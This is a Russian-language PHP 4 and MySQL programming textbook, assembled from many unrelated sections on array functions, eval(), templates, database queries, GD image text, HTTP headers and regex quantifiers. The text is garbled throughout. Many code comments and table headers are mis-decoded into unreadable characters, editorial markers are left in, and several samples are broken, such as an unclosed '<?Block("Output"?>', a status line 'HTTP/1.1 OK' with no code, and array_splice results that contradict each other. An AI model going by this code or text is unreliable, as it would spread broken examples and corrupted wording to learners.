r Если пропустить перед вызовом функции оператор & (взятие ссылки), то функция вернет не ссылку на объект, а копию этого объекта. При этом программа не выдаст никакого предупреждения и, скорее всего, будет даже работать верно — до тех пор, пока для копии объекта не будет вызван метод, ради которого мы и хотели избежать копирования. Вообразите себе муки программиста, отлаживающего такую программу, которая отказалась правильно работать по этой причине — ведь & может быть пропущен очень далеко от того места, где возникла ошибка!
r У неопытного программиста, использующего ваш класс, может возникнуть искушение скопировать $Tbl1 в новую переменную "обычным"
образом — при помощи оператора =. Или же он может по ошибке пропустить &, когда объявляет функцию со ссылочным параметром.
Мы видим, что два указанных недостатка приводят к тому, что программу становится очень трудно отлаживать. А такие программы, как показал многолетний опыт программирования, не только никуда не годятся — они приносят разработчику лишь огорчения, сокращая его век.
Есть ли альтернатива ссылкам? Оказывается, есть. Правда, она сопряжена с большими сложностями при разработке классов, но зато полностью лишена недостатков, описанных выше. Это — фактическое отделение набора методов, отвечающих за взаимодействие с объектом класса (то есть интерфейса класса) от его реализации.
Временные затраты
Да, я уже слышу очередные протесты "системщиков". Конечно, операционная система— безусловный "долгожитель" на множестве компьютеров. Вместе с тем, согласитесь, написать работоспособную ОС, действительно пригодную для использования (без всяких там оговорок) — довольно тяжелая работа, если не сказать большего. Под силу ли это одиночке? Сомневаюсь, что с ней в приемлемые сроки справится не то чтобы один, а десяток или даже пятьдесят человек.
Проведем несложные расчеты. На одной из конференций представитель фирмы Sun Microsystems заявил (видимо, в качестве порицания), что исходный текст последних версий Windows насчитывает порядка 50 миллионов строк. Думаю, он не очень сильно ошибся в своей оценке (как мы увидим, даже если он завысил цифру хоть в 10 раз, все равно результат будет неутешительный). В сумме это составляет около 50 млн´20 байт=1000 Мбайт (из расчета в среднем 20 символов в строке). Предположим, программист может печатать со скоростью 30 символов в минуту (разумеется, скорость собственно печати значительно выше, но ведь прежде чем что-то набирать, нужно сначала все спланировать и разработать). Таким образом, работая непрерывно, он в этом темпе создаст ОС за 1000 Мбайт/(30/60 мин)/
/3600 с=555 555 часов, что составит 555 555/24=23 148 дня или ровным счетом 23 148/365=63 года непрерывной круглосуточной работы! А ведь мы значительно завысили реальную скорость печати, да и, к тому же, нельзя 24 часа заниматься только тем, что набирать программу на клавиатуре.
Ко всему прочему, нужно еще компилировать программу, исправлять ошибки, еще раз компилировать и так до бесконечности (как это может показаться непривычному человеку). Наконец, "Нет ошибок в данной трансляции", но вдруг — логическая ошибка, и начинай все заново?.. Допустим даже ОС будет занимать не 50 миллионов строк, а только 5 миллионов. Предположим, что в команде не один, а 1000 человек. И пусть рабочий день программиста составляет 6 часов непрерывной работы. Итак, мы получим, что на написание нашей ОС этой командой уйдет 555 555/10/1000´(24/6)=222 дня, или около семи месяцев. Что ж... Вполне неплохо, но какой ценой…?.. К тому же совершенно неизвестно, получится ли в конце концов система, которая кому-то будет нужна. Представляете, полгода работы — и все напрасно?!
Разумеется, в системном и прикладном программировании существуют и другие направления. Например, можно написать какую-нибудь полезную программу, вроде текстового процессора или браузера. Кстати, вы знаете достоверно, сколько человек писало Internet Explorer? Лучше бы и я этого не знал...
И вот мы вернулись к тому, с чего начинали: чем же так привлекательна профессия Web-программиста. Все-таки понять это в полной мере можно, лишь достаточно поработав в этой области. Самое привлекательное в ней то, что результат своей работы можно видеть через довольно короткий срок.
Вставка страниц в единый шаблон
Раньше главный текстовый блок страницы (text) запрашивал подключения к себе двух частей шаблона— footer и header. Но, раз мы в очередной раз поменяли местами "поставщика" данных и "исполнителя", посмотрим, нельзя ли пойти дальше. Давайте поиграем в такую словесную игру: "обработаем" первое предложение этого абзаца, переставив в нем понятия, соответствующие "исполнителю" и "поставщику". Получим буквально: шаблон запрашивает подключение к себе главного текстового блока страницы. Эврика, это и есть главная задача шаблонизатора!
Не хотите ли взглянуть с этой новой позиции на шаблон страницы? Тогда изучите листинг 30.10.
Листинг 30.10. Свежий взгляд на шаблон страницы: /templ/main.tmpl
<?Block("Output"?>
<html><head><title><?=Blk("Title"title></head>
<body bgcolor=white>
<h1>Добрый день.</h1>
<table><tr>
<td width=20%>Карта раздела: . . .</td>
<td width=80%><?=Blk("Text")?></td>
</tr></table>
</body></html>
![](image/predislovie_1.gif)
Не обращайте пока внимания на команду <?Block("Output"?>. Ее смысл поясняется немного ниже.
Мы видим, что ненужное и опасное "расщепление" шаблона на два файла ушло в прошлое, а мы опять вернулись к простой модели. Будем хранить этот шаблон в файле /templ/main.tmpl.
Но позвольте, откуда же возьмется блок с именем Text, который выводится в середине этого шаблона? Вот задачу по его получению и возьмет на себя шаблонизатор. Предположим, пользователь обратился по адресу /news/weekly/today.html. Шаблонизатор, как я уже упоминал, "перехватит" это обращение и "возьмет"
текстовый блок из файла today.html, расположенного в каталоге /news/weekly. Затем он передаст управление шаблону, который вставит этот текст в нужное место страницы и отправит последнюю браузеру.
Вставка/удаление элементов
Мы уже знаем несколько операторов, которые отвечают за вставку и удаление элементов. Например, оператор [] (пустые квадратные скобки) добавляет элемент в конец массива, присваивая ему числовой ключ, а оператор Unset() вместе с извлечением по ключу удаляет нужный элемент. Язык PHP версии 4 поддерживает и многие другие функции, которые иногда бывает удобно использовать.
int array_push(alist &$Arr, mixed $var1 [, mixed $var2, …])
Эта функция добавляет к списку $Arr
элементы $var1, $var2 и т. д. Она присваивает им числовые индексы — точно так же, как это происходит для стандарных[E61] []. Если вам нужно добавить всего один элемент, наверное, проще и будет воспользоваться этим оператором:
array_push($Arr,1000); // âûçûâàåì ôóíêöèþ…
$Arr[]=100; // то же самое, но короче
Обратите внимание, что функция array_push()
воспринимает массив, как стек, и добавляет элементы всегда в его конец. Она возвращает новое число элементов в массиве.
mixed array_pop(list &$Arr)
Функция array_pop(), а противоположность array_push(), снимает элемент с "вершины"
стека (то есть берет последний элемент списка) и возвращает его, удалив после этого его из $Arr.
С помощью этой функции мы можем строить конструкции, напоминающие стек. Если список $Arr был пуст, функция возвращает пустую строку.
int array_unshift(list &$Arr, mixed $var1 [, mixed $var2, …])
Функция очень похожа на array_push(), но добавляет перечисленные элементы не в конец, а в начало массива. При этом порядок следования $var1, $var2 и т. д. остается тем же, т. е. элементы как бы "вдвигаются"
в список слева. Новым элементам списка, как обычно, назначаются числовые индексы, начиная с 0; при этом все ключи старых элементов массива, которые также были числовыми, изменяются (чаще всего они увеличиваются на число вставляемых значений). Функция возвращает новый размер массива. Вот пример ее применения:
$A=array(10,"a"=>20,30);
array_unshift($A,"!","?");
// теперь $A===array(0=>"!", 1=>"?", 2=>10, a=>20, 3=>30)
mixed array_shift(list &$Arr)
Эта функция извлекает первый элемент массива $Arr
и возвращает его. Она сильно напоминает array_pop(), но только получает начальный, а не конечный элемент, а также производит довольно сильную "встряску" всего массива: ведь при извлечении первого элемента приходится корректировать все числовые индексы у всех оставшихся элементов…
array array_unique(array $Arr)
Функция array_unique()
возвращает массив, составленный из всех уникальных значений массива $Arr
вместе с их ключами. В результирующий массив помещаются первые встретившиеся пары
ключ=>значение:
$input=array("a" => "green", "red", "b" => "green", "blue", "red");
$result=array_unique($input);
// òåïåðü $result===array("a"=>"green", "red", "blue");
array array_splice(array &$Arr, int $offset [, int $len] [, int $Repl])
Эта функция, также как и array_slice(), возвращает подмассив $Arr, начиная с индекса $offset
максимальной длины $len, но, вместе с тем, она делает и другое полезное действие. А именно, она заменяет только что указанные элементы на то, что находится в массиве $Repl (или просто удаляет, если $Repl
не указан). Параметры $offset и $len задаются так же, как и в функции substr() — а именно, они могут быть и отрицательными, в этом случае отсчет начинается от конца массива. За детальными разъяснениями обращайтесь к описанию функции substr(), рассмотренной в предыдущей главе.
Приведу несколько примеров:
$input=array("red", "green", "blue", "yellow");
array_splice($input,2);
// Теперь $input===array("red", "green")
array_splice($input,1,-1);
// Теперь $input===array("red", "yellow")
array_splice($input, -1, 1, array("black", "maroon"));
// Теперь $input===array("red", "green", "blue", "black", "maroon")
array_splice($input, 1, count($input), "orange");
// Теперь $input===array("red", "orange")
Последний пример показывает, что в качестве параметра $Repl мы можем указать и обычное, строковое значение, а не массив из одного элемента.
Вставка записи
insert into ÈìÿÒàáëèöû(ÈìÿÏîëÿ1 ÈìÿÏîëÿ2 ...) values('çí1','çí2',...)
Добавляет в таблицу ИмяТаблицы запись, у которой поля, обозначенные как ИмяПоляN, установлены в значения, соответственно, знN. Те поля, которые в этой команде не перечислены, получают "неопределенные"
значения (неопределенное значение— это не пустая строка, а просто признак, который говорит MySQL, что у данного поля нет никакого значения). Впрочем, если для не указанного здесь поля при создании таблицы был задан not null, то данная команда закончится неуспешно. Значения полей можно заключать и в обычные кавычки, но, по-моему, апострофы тут использовать удобнее. При вставке в таблицу бинарных данных (или текстовых, содержащих апострофы и слэши) некоторые символы должны быть "защищены"
обратными слэшами, а именно, символы \, ' и символ с нулевым кодом.
Встроенные константы
PHP версии 4 предлагает нам несколько предопределенных констант, которые обозначают различные математические постоянные с максимальной машинной точностью. Соответствующие этим константам ключевые слова и значения приводятся в табл. 14.1.
Таблица 14.1. Математические константы.
Константа | Âåëè÷èíà | Пояснение | |||
M_PI | 3,14159265358979323846 | Число p | |||
M_E | 2,7182818284590452354 | e | |||
M_LOG2E | 1,4426950408889634074 | Log2(e) | |||
M_LOG10E | 0,43429448190325182765 | Lg(e) | |||
M_LN2 | 0,69314718055994530942 | Ln(2) | |||
M_LN10 | 2,30258509299404568402 | Ln(10) | |||
M_PI_2 | 1,57079632679489661923 | p /2 | |||
M_PI_4 | 0,78539816339744830962 | p /4 | |||
M_1_PI | 0,31830988618379067154 | 1/ p | |||
M_2_PI | 0,63661977236758134308 | 2/ p | |||
M_SQRTPI | 1,77245385090551602729 | sqrt(p) | |||
M_2_SQRTPI | 1,12837916709551257390 | 2/sqrt(p) | |||
M_SQRT2 | 1,41421356237309504880 | sqrt(2) |
Таблица 14.1 (окончание)
Константа | Âåëè÷èíà | Пояснение | |||
M_SQRT3 | 1,73205080756887729352 | sqrt(3) | |||
M_SQRT1_2 | 0,70710678118654752440 | 1/sqrt(2) | |||
M_LNPI | 1,14472988584940017414 | Ln(p) | |||
M_EULER | 0,57721566490153286061 | Постоянная Эйлера |
Надо заметить, разработчики PHP что-то слишком разошлись, когда вводили стандартные константы. Например, я не могу даже и представить, зачем в Web-программировании может потребоваться, например, константа Эйлера. Что же, это их право….
Выделение всех уникальных слов из текста
Задача: перед нами некоторый довольно длинный текст в переменной $text. Необходимо выделить из него все слова и оставить из них только уникальные. Результат должен быть представлен в виде списка, отсортированного в алфавитном порядке. Решение этой задачи может потребоваться, например, при написании индексирующей поисковой системы на PHP.
Решение: воспользуемся функцией split() и ассоциативным массивом.
Листинг 22.1. Отбор уникальных слов
// Эта функция выделяет из текста в $text все уникальные слова и
// возвращает их список, отсортированный в алфавитном порядке.
function GetUniques($text)
{ // Сначала получаем все слова в тексте
$Words=split("[[:punct:][:blank:]]+",$text);
$Uniq=array(); // список уникальных слов
$Test=array(); // хэш уже обработанных слов
// Проходимся по всем словам в $Words и заносим в $Uniq уникальные
foreach($Words as $v) {
$v=strtolower($v); // в нижний регистр
// Слово уже нам встречалось? Если нет, то занести в $Uniq
if(!@$Test[$v]) $Uniq[]=$v;
// Указать, что это слово уже обрабатывалось
$Test[$v]=1;
}
// Наконец, сортируем список
sort($Uniq);
return $Uniq;
}
Данный пример довольно интересен, т. к. он имеет довольно большую функциональность при небольшом объеме. Его "сердце" — функция split() и цикл перебора слов с отбором уникальных. Мы используем алгоритм, основанный на применении ассоциативного массива для отбора уникальных элементов. Как он работает — надеюсь, ясно из комментариев.
Теперь мы можем воспользоваться функцией из листинга 22.1, например, в таком контексте:
$fname="sometext.txt";
$f=fopen($fname,"r");
$text=fread($f,filesize($fname));
fclose($f);
$Uniq=GetUniques($text);
foreach($Uniq as $v) echo "$v ";
![](image/protokoly-peredachi-dannyh_1.gif)
Интересно будет отметить, что функция preg_split(), которая работает с регулярными выражениями в формате PCRE, и которую мы не рассматриваем в этой книге, показывает гораздо лучшую производительность в этом примере, чем split() — чуть ли не в 3 раза быстрее! Если вам нужна максимальная производительность, пожалуй, будет лучше воспользоваться именно ей, но прежде почитайте что-нибудь о Perl и его регулярных выражениях — например, в замечательной книге Perl Cookbook Òîìà Êðèñòèàíñåнà è Íàòà Òîðêèíãòîíà (русское издание: "Библиотека программиста. Perl", издательство Питер, 2000).[E89]
Выполнение кода
int eval(string $code)
Эта функция делает довольно интересную вещь: она берет параметр $st и, рассматривая его как код программы на PHP, запускает. Если этот код возвратил какое-то значение оператором return (как, например, это обычно делают функции), eval()
также вернет эту величину.
Параметр $st представляет собой обычную строку, содержащую участок PHP-программы. То есть в ней может быть все, что допустимо в сценариях:
r
ввод-вывод, в том числе закрытие и открытие тэгов <? и ?>;
r управляющие инструкции: циклы, условные операторы и т. д.;
r объявления и вызовы функций;
r вложенные вызовы функции eval().
Тем не менее, нужно помнить несколько важных правил[E127] [DK128] .
r Код в $st
будет использовать те же самые глобальные переменные, что и вызвавшая программа. Таким образом, переменные не локализуются
внутри eval().
r Любая критическая ошибка (например, вызов неопределенной функции) в коде строки $st
приведет к завершению работы всего сценария (разумеется, сообщение об ошибке также напечатается в браузер). Это значит, что мы не можем перехватить все ошибки в коде, вставив его в eval().
![](image/protokoly-peredachi-dannyh_1.gif)
Последний факт вызывает довольно удручающие мысли. К сожалению, разработчики PHP опять не задумались о том, как было бы удобно, если бы eval() при ошибке в вызванном ей коде просто возвращала значение false, помещая сообщение об ошибке в какую-нибудь переменную (как это сделано, например, в Perl).
r Тем не менее, синтаксические ошибки и предупреждения, возникающие при трансляции кода в $st, не приводят к завершению работы сценария, а всего лишь вызывают возврат из eval()значения ложь. Что ж, хоть кое-что.
Не забывайте, что переменные в строках, заключенных в двойные кавычки, в PHP интерполируются (то есть заменяются на соответствующие значения). Это значит, что, если мы хотим реже использовать обратные слэши для защиты символов-кавычек, нужно стараться применять строки в апострофах для параметра, передаваемого eval(). Например:
eval("$a=$b;"); // Íåâåðíî!
// Âû, âèäèìî, õîòåëè íàïèñàòü ñëåäóþùåå:
eval("\$a=\$b");
// íî êîðî÷å áóäåò òàê:
eval('$a=$b');
Возможно, вы спросите: зачем нам использовать eval(), если она занимается лишь выполнением кода, который мы и так можем написать прямо в нужном месте программы? Например, следующий фрагмент
eval('for($i=0; $i<10; $i++) echo $i; ');
эквивалентен такому коду:
for($i=0; $i<10; $i++) echo $i;
Почему бы всегда не пользоваться последним фрагментом? Да, конечно, в нашем примере лучше было бы так и поступить. Однако сила eval() заключается прежде всего в том, что параметр $st
может являться (и чаще всего является) не статической строковой константой, а сгенерированной переменной. Вот, например, как мы можем создать 100 функций с именами Func1()...Func100(), которые будут печатать квадраты первых 100 чисел:
Листинг 24.1. Генерация семейства функций
for($i=1; $i<=100; $i++)
eval("function Func$i() { return $i*$i; }");
Попробуйте-ка сделать это, не прибегая к услугам eval()!
Я уже говорил, что в случае ошибки (например, синтаксической) в коде, обрабатываемом eval(), сценарий завершает свою работу и выводит сообщение об ошибке в браузер. Как обычно, сообщение сопровождается указанием того, в какой строке произошла ошибка, однако вместе с именем файла выдается уведомление, что программа оборвалась в функции eval(). Вот как, например, может выглядеть такое сообщение:
Parse error: parse error in eval.php(4) : eval()'d code on line 1
Как видим, в круглых скобках после имени файла PHP печатает номер строки, в которой была вызвана сама функция eval(), а после "on line" — номер строки в параметре eval() $st. Впрочем, мы никак не можем перехватить эту ошибку, поэтому последнее нам не особенно-то интересно.
Давайте теперь в качестве тренировки напишем код, являющийся аналогом инструкции include. Пусть нам нужно включить файл, имя которого хранится в $fname. Вот как это будет выглядеть:
$code=join("",File($fname));
eval("?>$code<?");
Всего две строчки, но какие...… Рассмотрим их подробнее.
Что делает первая строка — совершенно ясно: она сначала считывает все содержимое файла $fname по строкам в список, а затем образует одну большую строку путем "склеивания"
всех элементов этого списка. Заметьте, как получилось лаконично: нам не нужно ни открывать файл, ни использовать функцию fread()
или fgets().
Вторая строка, собственно, запускает тот код, который мы только что считали. Но çr÷le îír ddläârd?lnn? nceâîërec ?> c çrerí÷cârlnn? <? — nýarec înedunc? c çredunc? eîär PHP? Наверное, вы уже догадались: суть в том, что функция eval() воспринимает свой параметр именно как код, а не как документ со вставками PHP-кода. В то же время, считанный нами файл представляет собой обычный PHP-сценарий, т. е. документ со "вставками" PHP. Иными словами, настоящая инструкция include воспринимает файл в контексте документа, а функция eval() — в контексте кода. Поэтому-то мы и используем ?> — переводим текущий контекст в режим восприятия документа, чтобы eval() "осознала"
статический текст верно. Мы еще неоднократно столкнемся с этим приемом в будущем.
Выполнение запросов к базе данных
Теперь мы подходим непосредственно к тому, как формировать и посылать запросы к базе данных. Для этого существует одна-единственная функция— mysql_query() — и возвращает она не что иное, как идентификатор результирующего набора данных.
Помните, мы говорили, что результат сразу не пересылается клиенту? Так вот, чтобы до него добраться, и служит этот идентификатор. Существует очень много функций, которые принимают его в качестве параметра и возвращают те или иные данные. Их мы рассмотрим чуть позже.
int mysql_query(string $query [,int $link_identifier])
Эта функция в своем роде универсальна: она посылает MySQL-серверу запрос $query и возвращает идентификатор ответа, или результата. Параметр $query представляет собой строку, составленную по правилам языка SQL. Используется установленное ранее соединение $link_identifier, а в случае его отсутствия — последнее открытое соединение.
Есть несколько команд SQL, которые возвращают только признак, успешно они выполнились или нет (например, это команды UPDATE, INSERT и т. д.).
В таком случае этот признак и будет возвращен функцией. Наоборот, для запроса SELECT возвращается как раз идентификатор вывода, нулевое значение которого свидетельствует о том, что произошла ошибка.
На самом деле существует еще одна функция для выполнения запроса, но использовать ее менее удобно, поскольку всякий раз приходится указывать имя базы данных, к которой осуществляется доступ.
int mysql(string $dbname, string $query [,int $link_identifier])
Служит для тех же целей, что и функция mysql_query(), только обращение осуществляется не к текущей выбранной базе данных, а к указанной в параметре $dbname. Если вы владеете сразу несколькими базами данных и обращаетесь к ним одновременно, то, возможно, применение этой функции окажется для вас оправданным. Как обычно, параметр $link_identifier можно опустить, тогда используется последнее открытое соединение.
Вывод строки
int imageString(int $im, int $font, int $x, int $y, string $s, int $col)
Выводит строку $s в изображение $im, используя шрифт $font и цвет $col. Координаты ($x,$y) будут координатами левого верхнего угла прямоугольника, в который вписана строка.
int imageStringUp(int $im, int $font, int $x, int $y, string $s, int $c)
Эта функция также выводит строку текста, но не в горизонтальном, а в вертикальном направлении. Верхний левый угол, по-прежнему, задается координатами ($x,$y).
list imageTTFText(int $im, int $size, int $angle, int $x, int $y,
int $col, string $fontfile, string $text)
Эта функция помещает строку $text
в изображение $im цветом $col. Как обычно, $col должен представлять собой допустимый идентификатор цвета. Параметр $angle задает угол наклона в градусах выводимой строки, отсчитываемый от горизонтали против часовой стрелки. Координаты ($x,$y) указывают положение так называемой базовой точки строки (обычно это ее левый нижний угол). Параметр $size задает размер шрифта, который будет использоваться при выводе строки. Наконец, $fontfile
должен содержать имя TTF-файла, в котором, собственно, и хранится шрифт.
![](image/location_1.gif)
Хотя в официальной документации об этом ничего не сказано, я рискну взять на себя ответственность и заявить, что параметр $fontfile должен всегда задавать абсолютный путь
(от корня файловой системы) [E110] [DK111] к требуемому файлу шрифтов. Что самое интересное, в PHP версии 3 функции все же работают с относительными именами. Но в любом случае лучше подстелить соломку — абсолютные пути еще никому не вредили, не правда ли[DK112] ?[E113] ..
Функция возвращает список из 8 элементов. Первая их пара задает координаты (x,y) верхнего левого угла прямоугольника[DK114] , описанного вокруг строки текста в изображении, вторая пара — координаты верхнего правого угла,
и т. д. Так как в общем случае строка может иметь любой наклон $angle, здесь требуются 4 пары координат.
Вот пример использования этой функции:
Листинг 23.2. Вывод TrueType-строки
<?
// Выводимая строка
$string="Hello world!";
// Создаем рисунок подходящего размера
$im = imageCreate(300,40);
// Создаем в палитре новые цвета
$black = imageColorAllocate($im, 0, 0, 0);
$orange = imageColorAllocate($im, 220, 210, 60);
// Закрашиваем картинку
imageFill($im,0,0,$black);
// Рисуем строку текста (файл times.ttf расположен в текущем каталоге)
imagettftext($im,50,0,20,35,$orange,getcwd()."/times.ttf",$string);
// Сообщаем о том, что далее следует рисунок PNG
Header("Content-type: image/png");
// Выводим рисунок
imagePng($im);
?>
Вывод заголовка
int Header(string $string)
Обычно функция Header() является одной из первых команд сценария. Она предназначена для установки заголовков ответа, которые будут переданы браузеру — по одному заголовку на вызов. Не забывайте, что вызов Header() обязательно должен осуществляться до любого оператора вывода в сценарии — в противном случае вы получите предупреждение. Заметьте, что текст вне <? и ?> также рассматривается как оператор вывода, а потому старайтесь не делать лишних пробелов до первой "скобки" <? в сценарии (и в особенности в файле, который этим сценарием включается) и, конечно, после последнего ограничителя ?> во включаемом файле. Впрочем, вы сможете легко обнаружить подобную ошибку, если выставите уровень контроля ошибок, равный 15 (1+2+4+8) — в этом случае при недопустимом вызове Header() вы получите предупреждение. Пример:
// ïåðåíàïðàâëÿåò áðàóçåð íà ñàéò PHP
Header("Location: http://www.php.net");
// теперь принудительно завершаем сценарий, ввиду того, что после
// ïåðåíàïðàâëåíèÿ áîëüøå äåëàòü íå÷åãî
exit;
Скорее всего, вы уже поняли,
Скорее всего, вы уже поняли, что основной акцент в этих примерах я старался делать не на алгоритмах, а на "словесных утверждениях". Они состояли из довольно несложных, но комплексных частей, относящихся не к одному символу (как это произошло бы, организуй мы цикл по строке), а сразу к нескольким "похожим"...
Но вернемся к названию этой главы. Так что же такое регулярные выражения? Оказывается, наши словесные утверждения (но не инструкции замены, а только правила поиска), записанные на особом языке,— это и есть регулярные выражения.
Вызов внешней программы
Последняя строковая "константа"— строка в обратных апострофах (например, `команда`), заставляет PHP выполнить команду операционной системы и то, что она вывела, подставить на место строки в обратных апострофах. Вот так, например, мы можем в системе Windows узнать содержимое текущего каталога, которое выдает команда dir:
$st=`dir`;
echo "<pre>$st</pre>";
Впрочем, если в настройках PHP установлен так называемый безопасный режим, который ограничивает возможность запуска внешних программ лишь некоторыми, указанная команда может и не сработать. Мы еще вернемся к запуску программ в следующей части этой книги.
Взаимодействие генератора данных и шаблона
Вернемся опять к тому же генератору данных. В нем мы проверяем, не запущен ли сценарий книги в ответ на нажатие кнопки Добавить
в форме. Тут я хочу кое-что напомнить. Если вызвать программу без параметров, то пользователю будет просто выдано содержимое гостевой книги, в противном же случае (то есть при запуске из формы) осуществится добавление записи. Таким образом, мы "одним махом убиваем двух зайцев": используем один и тот же шаблон для двух разных страниц, внешне крайне похожих. Такую практику нужно только приветствовать, не правда ли? Определяем мы, нужно ли добавлять запись, по состоянию переменной $doAdd. Помните, именно такое имя имеет submit-кнопка в форме? Когда ее нажимают, сценарию поступает пара "doAdd=Добавить!", чем мы и воспользовались. Итак, если кнопка нажата, то мы вставляем запись в начало массива $Book и сохраняем его на диске.
Обратите внимание, насколько проста операция добавления записи. Так получилось вследствие того, что мы предусмотрительно дали полям формы с названием и текстом имена, соответственно, New[name] и New[text], которые PHP преобразовал в массив. Вообще говоря, придумывание таких имен для полей— задача как раз того "третьего лица", о котором я говорил выше. Это — работа скорее программистская, нежели дизайнерская (хотя, безусловно, от удачного планирования названий имен полей зависит не так уж и мало).
Подчеркиваю, что в самом коде генератора данных gbook.php в принципе не присутствует никаких данных о внешнем виде нашей гостевой книги. В нем нет ни одной строчки на HTML. Иными словами, генератору совершенно "все равно", как выглядит книга. Он занимается лишь ее загрузкой и обработкой. Это значит, что в будущем для изменения внешнего вида гостевой книги нам не придется править этот код, т. е. мы добились некоторого желаемого разделения труда дизайнера и программиста.
С другой стороны, шаблон gbook.htm не делает никаких предположений о том, как же именно хранится книга на диске и как она обрабатывается. Его дело — "красиво"
вывести содержимое массива $Book, "и точка". К тому же он почти не содержит кода на PHP (разве что самый минимум, без которого никак не обойтись). А значит, дизайнеру будет легко изменять внешний вид книги.
Web-программирование
Этот термин будет представлять для нас особый интерес, потому что является темой книги, которую вы держите в руках, уважаемый читатель. Давайте же наконец проставим все точки над "i".
Только что упоминалось, что страница и HTML-документ — вещи несколько разные, а также то, что существует возможность создания страниц "на лету" при запросе пользователя. Разработка программ, которые занимаются формированием таких страниц, и есть Web-программирование. Все остальное (в том числе, администрирование серверов, разграничение доступа для пользователей и т. д.) не имеет к Web-программированию никакого отношения. Фактически, для работы Web-программиста требуется только наличие правильно сконфигурированного и работающего хостинга (возможно, купленного у хостинг-провайдера, в этом случае уж точно среда будет настроена правильно), и это все.
По большому счету эта книга посвящена именно Web-программированию, за исключением второй части и Приложений. Во второй части рассказано о том, как за минимальное время настроить "домашний" хостинг на своей собственной машине, пусть даже и не подключенной к Интернету, т. е. стать "сам себе хостером". Это не так бесполезно, как может показаться, и вскоре вы поймете, почему.
![](image/protokoly-peredachi-dannyh_1.gif)
Между прочим, представленная терминология довольно-таки спорная — в разных публикациях используются различные термины. Например, однажды я видел, как хостом называлась любая сущность, имеющая уникальный IP-адрес в Интернете. Лично я с этим не согласен и буду называть эту сущность узлом.
World Wide Web и URL
В наше время одной из самых популярных "служб" Интернета является World Wide Web, Web или WWW (все три термина совершенно равносильны). Действительно, большинство серверов Сети поддерживают WWW и связанный с ним протокол передачи HTTP (Hypertext Transfer Protocol— Протокол передачи гипертекста). Служба привлекательна тем, что позволяет организовывать на хостах сайты — хранилища текстовой и любой другой информации, которая может быть просмотрена пользователем в интерактивном режиме.
Я думаю, каждый хоть раз в жизни набирал какой-нибудь "адрес" в браузере. Он называется URL (Universal Resource Locator — Универсальный идентификатор ресурса) и обозначает в действительности нечто большее, нежели чем просто адрес. Для чего же нужен URL? Почему недостаточен лишь один DNS-адрес?
Ответ довольно-таки очевиден. Действительно, каждый Web-сайт обычно хранит в себе множество документов. Следовательно, нужно иметь механизм, который бы позволял пользователю ссылаться на конкретный документ внутри указанного хоста.
В общем случае URL выглядит примерно так:
http://www.somehost.com:80/path/to/document.html
Давайте рассмотрим чуть подробнее каждую логическую часть этого URL.
Заданное число совпадений
Наконец, давайте рассмотрим последний квантификатор повторения. С его помощью можно реализовать все перечисленные выше возможности, правда, и выглядит он несколько более громоздко. Итак, сейчас речь пойдет о квантификаторе "фигурные скобки". Существует несколько форматов его записи. Давайте последовательно разберем каждый из них.
r
X{n,m} — указывает, что символ X может быть повторен от n до m раз;
r X{n} — указывает, что символ X должен быть повторен ровно n ðàç;
r X{n,} — указывает, что символ X может быть повторен n или более раз.
Значения n и m в этих примерах обязательно должны принадлежать диапазону от 0 до 255 включительно. В качестве тренировки вы можете подумать, как будут выглядеть квантификаторы *, + и ? в терминах {...}.
Заголовки и метод GET
Задумаемся на минуту, что же происходит, когда мы набираем в браузере строку somestring и нажимаем <Enter>. Браузер посылает серверу запрос somestring? Нет, конечно. Все немного сложнее. Он анализирует строку, выделяет из нее имя сервера и порт (а также имя протокола, но нам это сейчас не интересно), устанавливает соединение с Web-сервером по адресу сервер:порт и посылает ему что-то типа следующего:
GET somestring HTTP/1.0\n
...äðóãàÿ èíôîðìàöèÿ...
\n\n
Здесь \n означает символ перевода строки, а \n\n — два обязательных символа новой строки, которые являются маркером окончания запроса (точнее, окончания заголовков запроса). Пока мы не пошлем этот маркер, сервер не будет обрабатывать наш запрос.
Как видим, после GET-строки могут следовать и другие строки с информацией, разделенные символом перевода строки. Их обычно формирует браузер. Такие строки называются заголовками (headers), и их может быть сколько угодно. Протокол HTTP как раз и задает правила формирования и интерпретации этих заголовков.
Вот мы и начинаем знакомство с протоколом HTTP. Как видите, он представляет собой ни что иное, как просто набор заголовков, которыми обмениваются сервер и браузер, и еще пару соглашений насчет метода POST, которые мы вскоре рассмотрим.
Не все заголовки обрабатываются сервером — некоторые просто пересылаются запускаемому сценарию с помощью переменных окружения. Переменные окружения представляют собой именованные значения параметров, которые операционная система (точнее, процесс-родитель) передает запущенной программе. Программа может с помощью специальных функций (их мы рассмотрим в следующей главе на примерах) получить значение любой установленной переменной окружения, указав ее имя. Именно так и должен поступать CGI-сценарий, когда захочет узнать значение того или иного заголовка запроса. К сожалению, набор передаваемых сценарию заголовков ограничен стандартами, и некоторые заголовки нельзя получить из сценария никаким способом (ему просто недоступна соответствующая переменная окружения). Такие случаи мы будем оговаривать особо.
![](image/protokoly-peredachi-dannyh_1.gif)
Если быть до конца честным, то все-таки системный администратор может настроить сервер так, чтобы он посылал сценарию и те заголовки, которые по стандарту не передаются. Однако это выходит далеко за рамки Web-программирования, поэтому мы не будем останавливаться на этом вопросе.
Ниже приводятся некоторые заголовки запросов с их описаниями, а также имена переменных окружения, которые использует сервер для передачи их CGI-сценарию. Я указываю заголовки вместе с примерами в том контексте, в котором они могут быть применены, иными словами, вместе с наиболее распространенными их значениями. Так будет несколько нагляднее.
Заголовки ответа
Заголовки ответа должны следовать точно в таком же формате, как и заголовки запроса, рассмотренные нами в предыдущей главе. А именно, это набор строк (завершающийся пустой строкой), каждая из которых представляет собой имя заголовка и его значение, разделенные двоеточием. Наличие пустого заголовка в конце также можно интерпретировать как два стоящих подряд обозначения \n\n. Затем, как обычно, могут следовать данные ответа, которые и являются документом, который будет отображен браузером.
Заголовок кода ответа
Однако здесь все же имеется одно отличие от формата, который используется в заголовках запроса. Дело в том, что первый заголовок ответа обязан иметь слегка специфичный вид— в нем не должно быть двоеточия. Он задает так называемый код ответа сервера и выглядит, например, так:
HTTP/1.1 OK
или так:
HTTP/1.1 404 File Not Found
В первом примере заголовок говорит браузеру, что все в порядке и дальше следует некоторый документ. Во втором примере сообщается, что затребованный файл не был найден на сервере. Конечно, существует еще множество других кодов ошибок, но для нас они не представляют особого интереса, и вот почему.
Чаще всего (за исключением редких случаев) браузеры не обращают особого внимания на заголовок кода ответа, а просто выводят следующий за ним документ. Кроме того, такой заголовок формируется сервером, а в сценарии мы никак не можем его изменить (правда, есть специальный заголовок Status, но мы не будем здесь о нем говорить). Поэтому я и не рассматриваю подробно этот вопрос в данной книге.
